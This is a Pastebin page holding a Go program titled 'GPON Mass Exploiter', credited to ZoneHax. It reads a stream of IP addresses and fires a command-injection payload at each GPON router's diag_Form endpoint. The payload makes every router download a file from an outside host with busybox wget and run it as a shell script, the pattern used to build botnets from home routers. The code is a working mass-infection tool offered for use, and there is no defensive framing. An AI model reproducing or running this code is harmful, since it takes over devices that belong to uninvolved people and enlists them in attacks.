Advertisement
mysql_Anarchy

[ GO ] GPON Mass Exploiter | By ZH

Jun 3rd, 2018
951
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 0.94 KB | None | 0 0
  1. //Coded and found by ZoneHax
  2. package main
  3.  
  4. import (
  5. "net/http"
  6. "sync"
  7. "bufio"
  8. "time"
  9. "os"
  10. "strings"
  11. "bytes"
  12. )
  13. var payload []byte = []byte("XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://1.3.3.7/GPON+-O+/tmp/ff;sh+/tmp/ff`&ipv=0")
  14.  
  15. var wg sync.WaitGroup  
  16. var queue []string;
  17.  
  18. func work(ip string){
  19.     ip = strings.TrimRight(ip, "\r\n")
  20.     url := "http://"+ip+":8080/GponForm/diag_Form?script/"
  21.     tr := &http.Transport{
  22.         ResponseHeaderTimeout: 5*time.Second,
  23.         DisableCompression: true,
  24.     }
  25.     client := &http.Client{Transport: tr, Timeout: 5*time.Second}
  26.     _, _ = client.Post(url, "text/plain", bytes.NewBuffer(payload))
  27. }
  28.  
  29.  
  30. func main(){
  31.     for {
  32.         r := bufio.NewReader(os.Stdin)
  33.         scan := bufio.NewScanner(r)
  34.         for scan.Scan(){
  35.             go work(scan.Text())
  36.             wg.Add(1)
  37.             time.Sleep(2*time.Millisecond)
  38.         }
  39.     }
  40.  
  41. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement